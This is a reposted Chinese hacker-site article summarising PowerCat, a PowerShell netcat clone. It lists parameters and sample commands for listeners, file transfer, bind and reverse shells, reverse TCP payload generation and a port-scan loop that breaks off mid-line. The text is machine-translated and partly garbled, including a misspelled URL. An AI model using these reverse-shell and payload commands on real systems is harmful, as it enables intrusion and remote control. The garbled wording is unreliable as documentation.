PowerCat – powershell的瑞士军刀(netcat)

PowerCat – powershell的瑞士军刀(netcat)

黑客软件hacker2019-07-13 1:11:4411732A+A-

PowerCat – powershell的瑞士军刀(netcat) 第1张

"项目具体位置

htpp://github.Com/secabstraction/PowerCat

项目概述

PowerCat是一个powershell写的tcp/ip瑞士军刀,瞧一瞧成ncat的powershell的实现,随后里面也加入了诸多功能强大的功能,如文件上传,smb协议书支持,中继模式,添加payload,端口扫描等等。

使用说明

支持的方法如下

Start-PowerCat # Starts a listener/server.

-Mode # Defaults To Tcp, can also specify Udp or Smb.

-Port # The port To listen On.

-PipeName # Name of pipe To listen On.

-SslCn # Common name like Ssl encrypting Tcp.

-Relay # Format: “:”

-Execute # Execute a console process or powershell.

-SendFile # Filepath of file To send.

-ReceiveFile # Filepath of file To Be written.

-Disconnect # Disconnect after connecting.

-KeepAlive # Restart after disconnecting.

-Timeout # Timeout option. Default: 60 seconds

Connect-PowerCat # Connects a client To a listener/server.

-Mode # Defaults To Tcp, can also specify Udp or Smb

-RemoteIp # IPv4 address of host To connect To.

-Port # The port To connect To.

-PipeName # Name of pipe To connect To.

-SslCn # Common name like Ssl encrypting Tcp.

-Relay # Format: “:<iP>:”

-Execute # Execute a console process or powershell.

-SendFile # Filepath of file To send.

-ReceiveFile # Filepath of file To Be written.

-Disconnect # Disconnect after connecting.

-Timeout # Timeout option. Default: 60 seconds

最基础的接入与监视模式:

# Basic Listener:

Start-PowerCat -Port 443

# Basic Client:

Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443

发送到与接受文档

# Send File:

Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile

# Receive File:

Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile

同向与反向shell

# Serve a shell:

Start-PowerCat -Port 443 -Execute

# Send a Shell:

Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute

payload添加

# Generate a reverse tcp payload that connects back To 10.1.1.15 port 443:

New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute

# Generate a tcp payload that listens On port 9000:

New-PowerCatPayload -Listener -Port 9000 -Execute

端口扫描

# Basic TCP port scan:

1..1024 | ForEach-Object { Connect-PowerCat -RemoteI


点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 2条评论
  • 泪灼栖迟2022-05-30 18:31:07
  • "项目具体位置htpp://github.Com/secabstraction/PowerCat项目概述PowerCat是一个powershell写的tcp/ip瑞士军刀,瞧一瞧成ncat的powershell的实现,随后里面也加入了诸多功能强大的功能,如文件上传,smb协议书支持,中
  • 北槐辞慾2022-05-30 15:28:55
  • e like Ssl encrypting Tcp.-Relay # Format: “:<iP>:”-Execute # Execute a console process or powershell.-SendFile # Filepath of

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理